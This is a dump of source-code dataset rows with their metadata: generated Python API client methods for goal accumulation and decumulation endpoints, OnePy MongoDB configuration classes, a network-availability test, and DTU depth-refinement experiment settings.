_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def goal_accumulation_recommendation(self, goal_accumulation_recommendation_request, **kwargs): # noqa: E501
"""Goal Accumulation Recommendation # noqa: E501
Generate recommendations to achieve an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_recommendation(goal_accumulation_recommendation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationRecommendationRequest goal_accumulation_recommendation_request: Request payload for Goal Accumulation Recommendation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_accumulation_recommendation_with_http_info(goal_accumulation_recommendation_request, **kwargs) # noqa: E501
else:
(data) = self.goal_accumulation_recommendation_with_http_info(goal_accumulation_recommendation_request, **kwargs) # noqa: E501
return data
def goal_accumulation_recommendation_with_http_info(self, goal_accumulation_recommendation_request, **kwargs): # noqa: E501
"""Goal Accumulation Recommendation # noqa: E501
Generate recommendations to achieve an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_recommendation_with_http_info(goal_accumulation_recommendation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationRecommendationRequest goal_accumulation_recommendation_request: Request payload for Goal Accumulation Recommendation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_accumulation_recommendation_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_accumulation_recommendation" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_accumulation_recommendation_request' is set
if self.api_client.client_side_validation and ('goal_accumulation_recommendation_request' not in params or
params['goal_accumulation_recommendation_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_accumulation_recommendation_request` when calling `goal_accumulation_recommendation`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_accumulation_recommendation_request' in params:
body_params = params['goal_accumulation_recommendation_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_accumulation/recommendation', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def goal_accumulation_status(self, goal_accumulation_status_request, **kwargs): # noqa: E501
"""Goal Accumulation Status # noqa: E501
Track the status of an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_status(goal_accumulation_status_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationStatusRequest goal_accumulation_status_request: Request payload for Goal Accumulation Status (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_accumulation_status_with_http_info(goal_accumulation_status_request, **kwargs) # noqa: E501
else:
(data) = self.goal_accumulation_status_with_http_info(goal_accumulation_status_request, **kwargs) # noqa: E501
return data
def goal_accumulation_status_with_http_info(self, goal_accumulation_status_request, **kwargs): # noqa: E501
"""Goal Accumulation Status # noqa: E501
Track the status of an accumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_accumulation_status_with_http_info(goal_accumulation_status_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalAccumulationStatusRequest goal_accumulation_status_request: Request payload for Goal Accumulation Status (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_accumulation_status_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_accumulation_status" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_accumulation_status_request' is set
if self.api_client.client_side_validation and ('goal_accumulation_status_request' not in params or
params['goal_accumulation_status_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_accumulation_status_request` when calling `goal_accumulation_status`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_accumulation_status_request' in params:
body_params = params['goal_accumulation_status_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_accumulation/status', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def goal_decumulation_allocation(self, goal_decumulation_allocation_request, **kwargs): # noqa: E501
"""Goal Decumulation Allocation # noqa: E501
Allocate based on a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_allocation(goal_decumulation_allocation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationAllocationRequest goal_decumulation_allocation_request: Request payload for Goal Decumulation Allocation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_decumulation_allocation_with_http_info(goal_decumulation_allocation_request, **kwargs) # noqa: E501
else:
(data) = self.goal_decumulation_allocation_with_http_info(goal_decumulation_allocation_request, **kwargs) # noqa: E501
return data
def goal_decumulation_allocation_with_http_info(self, goal_decumulation_allocation_request, **kwargs): # noqa: E501
"""Goal Decumulation Allocation # noqa: E501
Allocate based on a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_allocation_with_http_info(goal_decumulation_allocation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationAllocationRequest goal_decumulation_allocation_request: Request payload for Goal Decumulation Allocation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_decumulation_allocation_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_decumulation_allocation" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_decumulation_allocation_request' is set
if self.api_client.client_side_validation and ('goal_decumulation_allocation_request' not in params or
params['goal_decumulation_allocation_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_decumulation_allocation_request` when calling `goal_decumulation_allocation`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_decumulation_allocation_request' in params:
body_params = params['goal_decumulation_allocation_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_decumulation/allocation', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def goal_decumulation_recommendation(self, goal_decumulation_recommendation_request, **kwargs): # noqa: E501
"""Goal Decumulation Recommendation # noqa: E501
Generate recommendations to achieve a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_recommendation(goal_decumulation_recommendation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationRecommendationRequest goal_decumulation_recommendation_request: Request payload for Goal Decumulation Recommendation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_decumulation_recommendation_with_http_info(goal_decumulation_recommendation_request, **kwargs) # noqa: E501
else:
(data) = self.goal_decumulation_recommendation_with_http_info(goal_decumulation_recommendation_request, **kwargs) # noqa: E501
return data
def goal_decumulation_recommendation_with_http_info(self, goal_decumulation_recommendation_request, **kwargs): # noqa: E501
"""Goal Decumulation Recommendation # noqa: E501
Generate recommendations to achieve a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_recommendation_with_http_info(goal_decumulation_recommendation_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationRecommendationRequest goal_decumulation_recommendation_request: Request payload for Goal Decumulation Recommendation (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_decumulation_recommendation_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_decumulation_recommendation" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_decumulation_recommendation_request' is set
if self.api_client.client_side_validation and ('goal_decumulation_recommendation_request' not in params or
params['goal_decumulation_recommendation_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_decumulation_recommendation_request` when calling `goal_decumulation_recommendation`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_decumulation_recommendation_request' in params:
body_params = params['goal_decumulation_recommendation_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_decumulation/recommendation', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def goal_decumulation_status(self, goal_decumulation_status_request, **kwargs): # noqa: E501
"""Goal Decumulation Status # noqa: E501
Track the status of a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_status(goal_decumulation_status_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationStatusRequest goal_decumulation_status_request: Request payload for Goal Decumulation Status (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.goal_decumulation_status_with_http_info(goal_decumulation_status_request, **kwargs) # noqa: E501
else:
(data) = self.goal_decumulation_status_with_http_info(goal_decumulation_status_request, **kwargs) # noqa: E501
return data
def goal_decumulation_status_with_http_info(self, goal_decumulation_status_request, **kwargs): # noqa: E501
"""Goal Decumulation Status # noqa: E501
Track the status of a decumulation goal # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.goal_decumulation_status_with_http_info(goal_decumulation_status_request, async_req=True)
>>> result = thread.get()
:param async_req bool
:param GoalDecumulationStatusRequest goal_decumulation_status_request: Request payload for Goal Decumulation Status (required)
:return: dict(str, object)
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['goal_decumulation_status_request'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method goal_decumulation_status" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'goal_decumulation_status_request' is set
if self.api_client.client_side_validation and ('goal_decumulation_status_request' not in params or
params['goal_decumulation_status_request'] is None): # noqa: E501
raise ValueError("Missing the required parameter `goal_decumulation_status_request` when calling `goal_decumulation_status`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'goal_decumulation_status_request' in params:
body_params = params['goal_decumulation_status_request']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['oauth2'] # noqa: E501
return self.api_client.call_api(
'/goal_decumulation/status', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='dict(str, object)', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 45.27345 | 167 | 0.65811 | 3,085 | 28,477 | 5.768233 | 0.05543 | 0.043608 | 0.04091 | 0.028323 | 0.969879 | 0.960776 | 0.953358 | 0.943355 | 0.906603 | 0.894128 | 0 | 0.014626 | 0.265302 | 28,477 | 628 | 168 | 45.345541 | 0.835914 | 0.341188 | 0 | 0.738739 | 1 | 0 | 0.221625 | 0.12728 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039039 | false | 0 | 0.012012 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
04c4ade49eebdfd79f005c1dd0ea11db6c0c41af | 949 | py | Python | OnePy/mongodb/csv_to_mongodb.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | OnePy/mongodb/csv_to_mongodb.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | OnePy/mongodb/csv_to_mongodb.py | sibuzu/OnePy | 464fca1c68a10f90ad128da3bfb03f05d2fc24bc | [
"MIT"
] | null | null | null | from OnePy.mongodb.mongodbbase import MongoDB_config
class Forex_csv_to_MongoDB(MongoDB_config):
host = 'localhost'
port = 27017
dtformat = '%Y%m%d'
tmformat = '%H:%M:%S'
date = 'Date'
time = 'Timestamp'
open = 'Open'
high = 'High'
low = 'Low'
close = 'Close'
volume = 'Volume'
openinterest = None
def __init__(self, database, collection, host=None, port=None):
super(Forex_csv_to_MongoDB, self).__init__(database, collection, host, port)
class Tushare_csv_to_MongoDB(MongoDB_config):
host = 'localhost'
port = 27017
dtformat = '%Y-%m-%d'
tmformat = '%H:%M:%S'
date = 'date'
time = None
open = 'open'
high = 'high'
low = 'low'
close = 'close'
volume = 'volume'
openinterest = None
def __init__(self, database, collection, host=None, port=None):
super(Tushare_csv_to_MongoDB, self).__init__(database, collection, host, port) | 25.648649 | 86 | 0.630137 | 117 | 949 | 4.846154 | 0.324786 | 0.035273 | 0.084656 | 0.059965 | 0.835979 | 0.835979 | 0.835979 | 0.835979 | 0.835979 | 0.673721 | 0 | 0.01385 | 0.239199 | 949 | 37 | 86 | 25.648649 | 0.771468 | 0 | 0 | 0.322581 | 0 | 0 | 0.114737 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0 | 0.032258 | 0 | 0.935484 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
04d52b1abe77ad7e035cc1cb251b042c09ab6784 | 123 | py | Python | test/targets/test_network.py | schemathesis/web-api-fuzzing-project | 69916d9ba9c8c844c7f529dd116790b1f7a135a9 | [
"MIT"
] | 5 | 2021-05-10T16:14:46.000Z | 2021-09-18T13:29:42.000Z | test/targets/test_network.py | schemathesis/web-api-fuzzing-project | 69916d9ba9c8c844c7f529dd116790b1f7a135a9 | [
"MIT"
] | 4 | 2021-05-10T10:42:56.000Z | 2021-11-13T08:15:11.000Z | test/targets/test_network.py | schemathesis/web-api-fuzzing-project | 69916d9ba9c8c844c7f529dd116790b1f7a135a9 | [
"MIT"
] | null | null | null | from wafp.targets.network import is_available
def test_is_available():
assert not is_available("http://127.0.0.1:1")
| 20.5 | 49 | 0.747967 | 21 | 123 | 4.190476 | 0.714286 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064815 | 0.121951 | 123 | 5 | 50 | 24.6 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
04dbf2734740202bfabe73ab60f674aad8b21ca7 | 9,613 | py | Python | code/experiments/lists/dtu_experiment_list.py | simon-donne/defusr | fa4275070af4024eea128e99d7c6df2358d129a5 | [
"MIT"
] | 65 | 2019-04-08T20:24:01.000Z | 2021-09-22T22:16:13.000Z | code/experiments/lists/dtu_experiment_list.py | simon-donne/defusr | fa4275070af4024eea128e99d7c6df2358d129a5 | [
"MIT"
] | 4 | 2019-07-22T05:30:27.000Z | 2020-05-27T05:36:52.000Z | code/experiments/lists/dtu_experiment_list.py | simon-donne/defusr | fa4275070af4024eea128e99d7c6df2358d129a5 | [
"MIT"
] | 13 | 2019-05-01T22:22:06.000Z | 2021-09-24T07:19:13.000Z | import torch
from utils.ddf_logging import Logger
from datasets.DTU import DTUAdapter
from local_config import base_network_output_path
import os
experiment_list = {}
experiment_list["DTU_colmap_local_depthtrust"] = {
'experiment_framework': "local_depthtrust",
'experiment_settings': {
'it_size': 200, # how many epochs per iteration ?
'nr_its': 100, # how many iterations?
},
'optimizer_options': {
'lr': 1e-3,
},
'optimizer_lr_milestones': {
20000*0.4: 1e-3/2,
20000*0.6: 1e-3/4,
20000*0.8: 1e-3/8,
20000*0.9: 1e-3/16,
},
'data_adapter_options': {
'depth_map_prefix': "colmap/photometric/depth/",
},
'data_loader_options': {
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'DTU_filter': True,
},
'network_options': {
'F': 16,
'scale_augmentation': 2.0,
'depth_scale': 100,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_colmap_depth_refine_run1"] = {
'experiment_framework': "initial_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 100,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
10000*0.4: 1e-4/2,
10000*0.6: 1e-4/4,
10000*0.8: 1e-4/8,
10000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "colmap/photometric/depth/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'local_network': os.path.join(base_network_output_path, 'DTU_colmap_local_depthtrust/20190111-1016-bae88c/experiment_state_epoch_20000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
'reset_trust': True,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_colmap_depth_refine_run2"] = {
'experiment_framework': "successive_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 100,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
10000*0.4: 1e-4/2,
10000*0.6: 1e-4/4,
10000*0.8: 1e-4/8,
10000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "DTU_colmap_depth_refine_run1/depth/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'file': os.path.join(base_network_output_path, 'DTU_colmap_depth_refine_run1/20190120-2200-bae88c/experiment_state_epoch_10000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_colmap_depth_refine_run3"] = {
'experiment_framework': "successive_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 50,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
5000*0.4: 1e-4/2,
5000*0.6: 1e-4/4,
5000*0.8: 1e-4/8,
5000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "DTU_colmap_depth_refine_run2/depth/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'file': os.path.join(base_network_output_path, 'DTU_colmap_depth_refine_run2/20190126-1304-ebe210/experiment_state_epoch_10000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_mvsnet_local_depthtrust"] = {
'experiment_framework': "local_depthtrust",
'experiment_settings': {
'it_size': 200, # how many epochs per iteration ?
'nr_its': 100, # how many iterations?
},
'optimizer_options': {
'lr': 1e-3,
},
'optimizer_lr_milestones': {
20000*0.4: 1e-3/2,
20000*0.6: 1e-3/4,
20000*0.8: 1e-3/8,
20000*0.9: 1e-3/16,
},
'data_adapter_options': {
'depth_map_prefix': "mvsnet/depth/",
},
'data_loader_options': {
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'DTU_filter': True,
},
'network_options': {
'F': 16,
'scale_augmentation': 2.0,
'depth_scale': 100,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_mvsnet_depth_refine_run1"] = {
'experiment_framework': "initial_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 100,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
10000*0.4: 1e-4/2,
10000*0.6: 1e-4/4,
10000*0.8: 1e-4/8,
10000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "MVSNet/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'local_network': os.path.join(base_network_output_path, 'DTU_mvsnet_local_depthtrust/20190111-1016-bae88c/experiment_state_epoch_20000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
'reset_trust': True,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_mvsnet_depth_refine_run2"] = {
'experiment_framework': "successive_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 100,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
10000*0.4: 1e-4/2,
10000*0.6: 1e-4/4,
10000*0.8: 1e-4/8,
10000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "DTU_mvsnet_depth_refine_run1/depth/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'file': os.path.join(base_network_output_path, 'DTU_mvsnet_depth_refine_run1/20190120-2223-bae88c/experiment_state_epoch_10000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
},
'data_adapter': DTUAdapter,
}
experiment_list["DTU_mvsnet_depth_refine_run3"] = {
'experiment_framework': "successive_refine",
'experiment_settings': {
'it_size': 100,
'nr_its': 50,
'classification_fraction': 0.3,
'refinement_fraction': 0.4,
'trust_fraction': 0.5,
},
'optimizer_options': {
'lr': 1e-4,
},
'optimizer_lr_milestones': {
5000*0.4: 1e-4/2,
5000*0.6: 1e-4/4,
5000*0.8: 1e-4/8,
5000*0.9: 1e-4/16,
},
'data_adapter_options': {
'depth_map_prefix': "DTU_mvsnet_depth_refine_run2/depth/",
'_neighbour_selection': "mixed",
},
'data_loader_options': {
'minibatch_size': 2,
'nr_neighbours': 12,
'split_limits': {'train': None, 'test': None, 'val': None},
},
'loss_function_options': {
'threshold': 5.0,
'vmin': 5.0,
'vmax': 2000.0,
'limit': 2000.0,
'DTU_filter': True,
'do_trust': False,
},
'network_options': {
'file': os.path.join(base_network_output_path, 'DTU_mvsnet_depth_refine_run2/20190126-1304-ebe210/experiment_state_epoch_10000.pkl'),
'scale_augmentation': 2.0,
'depth_scale': 100,
'F': 16,
},
'data_adapter': DTUAdapter,
}
| 28.190616 | 149 | 0.563612 | 1,130 | 9,613 | 4.488496 | 0.099115 | 0.017744 | 0.030757 | 0.037855 | 0.963722 | 0.962145 | 0.962145 | 0.962145 | 0.959779 | 0.951498 | 0 | 0.101894 | 0.275148 | 9,613 | 340 | 150 | 28.273529 | 0.626005 | 0.010923 | 0 | 0.727273 | 0 | 0 | 0.425971 | 0.14648 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.015152 | 0 | 0.015152 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b6c553d4693c032c4f6f597aa025d7a8205944e4 | 27,599 | py | Python | dalechallwords.py | trackoverxc/word-syllable-nlp | 982e40603c0a65973f69557db8781117374606e7 | [
"MIT"
] | null | null | null | dalechallwords.py | trackoverxc/word-syllable-nlp | 982e40603c0a65973f69557db8781117374606e7 | [
"MIT"
] | null | null | null | dalechallwords.py | trackoverxc/word-syllable-nlp | 982e40603c0a65973f69557db8781117374606e7 | [
"MIT"
